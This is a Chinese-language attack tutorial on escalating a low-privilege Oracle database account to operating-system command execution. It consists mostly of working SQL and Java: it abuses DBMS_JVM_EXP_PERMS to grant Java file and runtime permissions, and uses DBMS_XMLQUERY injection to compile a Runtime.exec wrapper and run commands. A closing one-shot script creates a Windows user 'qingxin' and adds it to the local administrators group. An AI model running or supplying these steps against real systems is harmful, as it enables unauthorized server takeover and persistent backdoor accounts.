0x01 提权准备
这里我们先创建一个低权限的用户test
SQL> conn sys/admin123@orcl as sysdba;
已连接。
SQL> create user test identified by test;
然后查看一下权限
SQL> select * from session_privs;
PRIVILEGE
CREATE SESSION
如上显示,test没有JAVA权限,也只有CREATE SESSION权限
我们如果要通过数据库执行系统命令,那么首先要提升数据库用户的权限。
我们首先要获取java权限
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT', 'ZTZ', 'SYS', 'java.io.FilePermission', '<<ALL
FILES>>', 'execute', 'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
如果想要执行任意代码的话还需要额外获得java.lang.RuntimePermission权限
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',
'writeFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT', USER(), 'SYS', 'java.lang.RuntimePermission',
'readFileDescriptor', 'NULL', 'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
0x02 JAVA权限执行命令
用我们的test帐号登录
1、首先我们创建java包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、然后我们获取java权限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、创建我们用来执行命令的函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
4、执行命令
select LinxRUNCMD('whoami') from dual;
0x03 存储过程执行命令
若我们有create procedure权限,而不只是create session这么苦逼时,我们可以创建一个java class然后用创建一个过程来进行调用
1、首先创建一个java class然后用procedure包装它进行调用
create or replace and resolve java source named JAVACMD as
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execmd(String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
}
/
2、创建调用的包
create or replace procedure MYJAVACMD(command in varchar) as language java
name 'JAVACMD.execmd(java.lang.String)';
/
3、执行我们的命令
EXEC MYJAVACMD('net user qingxin qingxin /add');
会报错是因为代码中没有捕获异常,我们再执行一次即可
附上一把梭哈
CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;public class JAVACMD
{public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';/
exec javacmdproc('cmd.exe /c net user qingxin qingxin /add');
exec javacmdproc('cmd.exe /c net localgroup administrators qingxin /add');